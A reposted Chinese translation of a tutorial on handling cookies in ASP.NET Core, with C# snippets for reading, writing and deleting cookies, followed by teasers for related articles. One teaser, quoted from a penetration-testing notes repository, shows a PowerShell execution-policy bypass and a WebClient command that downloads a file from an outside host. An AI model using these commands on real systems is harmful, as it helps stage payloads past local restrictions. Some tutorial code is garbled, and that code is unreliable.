第一百零一期:如何处理ASP .NET Core中的cookie?

本文介绍了ASP.NET Core Web应用程序中利用cookie存储和检索针对特定用户的信息。

作者:布加迪编译

如何处理ASP .NET Core中的cookie?

【51CTO.com快译】cookie是通常用于存储有关用户信息的一条数据,存储在用户的计算机上。在大多数浏览器中,每个cookie都存储为一个小文件,但在Firefox中,它们一起存储在一个文件中。 cookie表示为键值对,你可以利用键来读取、写入或删除cookie。

ASP.NET Core使用cookie来维护会话状态。包含会话ID的cookie随每个请求一起发送到客户端。本文讨论了如何处理ASP.NET Core中的cookie。

若要使用本文提供的代码示例,你应该在系统中安装Visual Studio 2019。如果还没有一份,可以在此处下载Visual Studio 2019(https://visualstudio.microsoft.com/downloads/)。

在Visual Studio中创建ASP.NET Core MVC项目

先不妨在Visual Studio 2019中创建一个ASP.NET Core MVC项目。假设系统中已安装Visual Studio 2019,请按照以下概述的步骤,在Visual Studio中创建一个新的ASP.NET Core MVC项目。

  1. 启动Visual Studio IDE。
  2. 点击“创建新项目”。
  3. 在“创建新项目”窗口中,从显示的模板列表中选择“ASP.NET Core Web应用程序”。
  4. 点击“下一步”。
  5. 在“配置新项目”窗口中,指定新项目的名称和位置。
  6. 可选情况下,选中“将解决方案和项目放在同一个目录中”复选框。
  7. 点击“创建”。
  8. 在接下来显示的“创建新的ASP.NET Core Web应用程序”窗口中,从顶部下拉列表中选择.NET Core作为运行时环境,并选择ASP.NET Core 2.2(或更高版本)。
  9. 选择“Web应用程序(Model-View-Controller)”作为项目模板,以创建新的ASP.NET Core MVC应用程序。
  10. 确保“启用Docker支持”和“配置HTTPS”这两个复选框未勾选,因为我们在这里不会使用这些功能。
  11. 确保“身份验证”设置为“不进行身份验证”,因为我们在这里也不会使用身份验证。
  12. 点击“创建”。

现在,你应该已经准备好在Visual Studio中使用一个新的ASP.NET Core MVC项目。我们将在本文的后续部分使用该项目。

在ASP.NET Core中读取cookie

你可以从Request.cookies集合读取cookie。下面的代表片段说明了如何从ASP.NET Core中的Request对象读取cookie。

string cookie = Request.Cookies["Key"]; 

如果你想指定cookie的到期失效时间,可以使用Append方法的重载版本,如下面给出的代码片段所示。

CookieOptions option = new CookieOptions();  
option.Expires = DateTime.Now.AddMilliseconds(10);  
Response.Cookies.Append(key, value, option); 

cookieOptions类使你可以在创建cookie时指定以下额外属性:

  • 域—用于指定与cookie有关的域
  • 到期失效时间—用于指定cookie的到期失效时间
  • 路径—用于指定cookie路径
  • 安全策略—用于指定cookie是否可以通过HTTPS来访问
  • HttpOnly—用于指定cookie是否仅对服务器可用

在ASP.NET Core中写入cookie

想写入cookie,你可以利用与Request对象有关的Append方法。以下代码片段说明了如何做到这一点。

Response.Cookies.Append(somekey, somevalue); 

在ASP.NET Core中删除cookie

若要删除cookie,可以使用与Request对象有关的cookies集合的Delete方法。以下代码片段说明了如何做到这一点。

Response.Cookies.Delete(somekey); 

在ASP.NET Core中访问HttpContext

在本节中,我们将介绍如何在ASP.NET Core中处理cookie数据。我们需要访问HttpContext才能访问Request对象。你可以使用IHttpContextAccessor接口,访问ASP.NET Core中的HttpContext。HttpContextAccessor类实现该接口。

首先,你应该注册IHttpContextAccessor用于依赖项注入。以下代码片段说明了如何在Startup类的ConfigureServices方法中添加类型HttpContextAccessor的单一服务。

public void ConfigureServices(IServiceCollection services)  
{  
services.AddSingleton  
HttpContextAccessor>();  
//Other code  
} 

你可以利用依赖项注入来获得IHttpContextAccessor实例的引用。这将反过来为你提供HttpContext的引用。

以下代码片段说明了如何访问控制器中的IHttpContextAccessor实例。请注意,当你在Visual Studio中创建新的ASP.NET Core MVC项目后,默认情况下将创建HomeController。

public class HomeController : Controller  
{  
private readonly IHttpContextAccessor _httpContextAccessor;  
public HomeController(IHttpContextAccessor httpContextAccessor)  
{ this._httpContextAccessor = httpContextAccessor;  
}  
//Write your action methods here  
} 

在ASP.NET Core控制器方法中写入cookie数据

你可以使用以下方法在控制器中写入cookie数据。

public IActionResult Write(string key, string value, bool isPersistent)  
{  
CookieOptions options = new CookieOptions();  
if (isPersistent)  
options.Expires = DateTime.Now.AddDays(1);  
else  
options.Expires = DateTime.Now.AddSeconds(10);  
_httpContextAccessor.HttpContext.Response.Cookies.Append  
(key, value, options);  
return View("WriteCookie");  
} 

在ASP.NET Core控制器方法中读取cookie数据

一旦cookie数据成功写入,可以使用以下方法在控制器中读取cookie数据。

public IActionResult Read(string key)  
{  
ViewBag.Data =  
_httpContextAccessor.HttpContext.Request.Cookies[key];  
return View("ReadCookie");  
} 

要检查cookie是否已正确写入,可以查看Web浏览器的cookie缓存。

原文标题:How to work with cookies in ASP.NET Core, 作者:Joydip Kanjilal

阅读目录(置顶)(长期更新计算机领域知识)

阅读目录(置顶)(长期更新计算机领域知识)

阅读目录(置顶)(长期科技领域知识)

歌谣带你看java面试题

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/424206.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

男生给女生最牛B的告白

1、别以为平胸就说明自己有脑,别以为自己笨就一定丰满。基本上没有男人会笨到认为脑子和胸部有任何联系. 2、爱不爱你?别tm一直问偶这个问题。什么也不说,你丫哭;犹豫了一会说,你丫说不坚决;脱口而出你丫又…

四、COSMIC功能点实操

一、识别功能处理 二、识别功能处理的数据对象 三、识别数据对象的数据移动 四、要点规则 1.消息提示:一个功能处理的所有消息提示作为一个X,如果涉及到动态的提示单独作为一个X 2.分析功能是新增的还是修改的,新增功能的数据运算都不算功能点…

第一百零二期:5G套餐到底该不该换?看完你就明白啦!

日前,三大运营商正式宣布5G商用,并公布了各自的5G资费套餐。毫无意外,正式公布出来的套餐内容,和之前运营商内部泄露的内容完全一致。 作者:小枣君 日前,三大运营商正式宣布5G商用,并公布了各自…

79. Word Search

文章目录1题目理解2 回溯3 212 word search II1题目理解 Given an m x n board and a word, find if the word exists in the grid. The word can be constructed from letters of sequentially adjacent cells, where “adjacent” cells are horizontally or vertically ne…

怀念西电北门的石凳(转载)

想起1996年某个春天的清晨<?xml:namespace prefix o ns "urn:schemas-microsoft-com:office:office" />那个被我叫做小可的女生和我坐在北门里的石凳上让我帮她讲数学&#xff5e;清晨的风清凉地流着&#xff5e;划过记忆里永远不曾尘封的忧伤&#xff5e;感…

内网文件传输

转自&#xff1a;https://github.com/l3m0n/pentest_study windows下文件传输 1、powershell文件下载 powershell突破限制执行&#xff1a;powershell -ExecutionPolicy Bypass -File .\1.ps1 $d New-Object System.Net.WebClient $d.DownloadFile("http://lemon.com/fil…

127. Word Ladder

文章目录1 题目理解2 BFS3 双向BFS1 题目理解 给定两个单词&#xff08;beginWord 和 endWord&#xff09;和一个字典&#xff0c;找到从 beginWord 到 endWord 的最短转换序列的长度。转换需遵循如下规则&#xff1a; 每次转换只能改变一个字母。 转换过程中的中间单词必须是…

关于DataAdapter打开和关闭连接

今天看书的时候,终于看明白了DataAdapter相关的打开和关闭连接的问题DataAdapter使用的时候可以不显示的打开或关闭连接,这是因为DataAdapter能够自动的处理该任务.如果在调用Fill方法的时候连接是关闭的,则连接会自动打开,然后从数据库中把数据记录填充到DataSet中,接着连接会…

讨论ALL_ROWS模式和FIRST_ROWS模式

在CBO的优化模式下&#xff0c;我们可以使用optimizer_mode参数控制优化模式。主要有两种模式&#xff0c;一种是ALL_ROWS模式&#xff0c;另外一种是FIRST_ROWS模式。 ALL_ROWS模式适用场景&#xff1a;希望优化程序给出一种尽快得到全部记录的执行计划&#xff0c;目标是增加…

第一百零三期:解读回归测试:类型、选择、挑战和实践

本文介绍了回归测试的基本概念、工作方式、面临的挑战、以及业界的优秀实践。 作者&#xff1a;陈峻编译 【51CTO.com快译】有研究表明&#xff1a;在安装了新的应用程序之后&#xff0c;只有四分之一的用户会在次日回到该应用。而大多数用户在首次使用之后就直接将其卸载掉了…

126. Word Ladder II

文章目录1 题目理解2 BFS1 题目理解 题目要求和127是一样的。返回值不一样。返回值要求把最短路径的&#xff0c;具体路径输出。 Input: beginWord “hit”, endWord “cog”, wordList [“hot”,“dot”,“dog”,“lot”,“log”,“cog”] Output: [ [“hit”,“hot”,“…

如何构建积木式Web应用

上下文基本上我们在儿童时代都玩过积木玩具。通过一块块的积木&#xff0c;再加上我们的想象力&#xff0c;就可以构造出非常多不同的风格的建筑。那么&#xff0c; 我们可不可以把这种搭积木的方式应用到我们的web应用上呢。问题web应用通过提供给用户一整套组件&#xff08;相…

第一百零四期:搞清这些陷阱,NULL和三值逻辑再也不作妖

NULL 用于表示缺失的值或遗漏的未知数据&#xff0c;不是某种具体类型的值。数据表中的 NULL 值表示该值所处的字段为空&#xff0c;值为 NULL 的字段没有值&#xff0c;尤其要明白的是&#xff1a;NULL 值与 0 或者空字符串是不同的。 作者&#xff1a;youzhibing2904 NULL …

752. Open the Lock

文章目录1 题目理解2 BFS3 用int构建状态1 题目理解 一个钟表有4个槽&#xff0c;每个槽可以停在0-9&#xff0c;10个状态。钟表每个槽的轮子可以转&#xff0c;例如可以从0转到9&#xff0c;也可以从0转到1。 钟表的起始状态是"0000"。每个数字代表一个槽的状态。 …

移动开发 视频收集

构建基于SQL CE的移动方案http://download.chinaitlab.com/video/files/8282.html转载于:https://www.cnblogs.com/Regal/archive/2006/03/23/356800.html

移动混合开发之android文件管理新建文件和删除文件

今天经过一天超过8小时的实践&#xff0c;有很多CSS上的细节需要注意&#xff1a; 1&#xff0c; /*注意是对before的操作*/ .content ul li .icon-check-empty:before{display: block;/*webFont设置其width和height时无效,只有设置font-size*//*width: 3rem;*//*height: 3rem;…

spring mvc学习(19):cookievalue注解(显示cookie的值,默认必须有值)

目录结构 web.xml <?xml version"1.0" encoding"UTF-8"?> <web-app xmlns:xsi"http://www.w3.org/2001/XMLSchema-instance" xmlns"http://java.sun.com/xml/ns/javaee" xsi:schemaLocation"http://java.sun.com/xml…

续:C#串口操作

今天继续写C#的工业扫描串口。突然遇到一个很奇怪的问题&#xff1a;那就是我要求把某些码得到之后进行业务处理&#xff0c;但是就是这个时候突然发现扫描出来的 码位数不正确了&#xff01;我就很怀疑自己的代码逻辑了。于是&#xff0c;我就逐行进行调试&#xff0c;而接受口…

spring mvc学习(20):RequestHeader(获取请求头中某一部分值)

目录结构 web.xml <?xml version"1.0" encoding"UTF-8"?> <web-app xmlns:xsi"http://www.w3.org/2001/XMLSchema-instance" xmlns"http://java.sun.com/xml/ns/javaee" xsi:schemaLocation"http://java.sun.com/xml…

698. Partition to K Equal Sum Subsets

文章目录1 理解题目2 分析2.1进一步优化2.2 根据花花酱解答1 理解题目 Given an array of integers nums and a positive integer k, find whether it’s possible to divide this array into k non-empty subsets whose sums are all equal. 输入&#xff1a;一个int数组nums…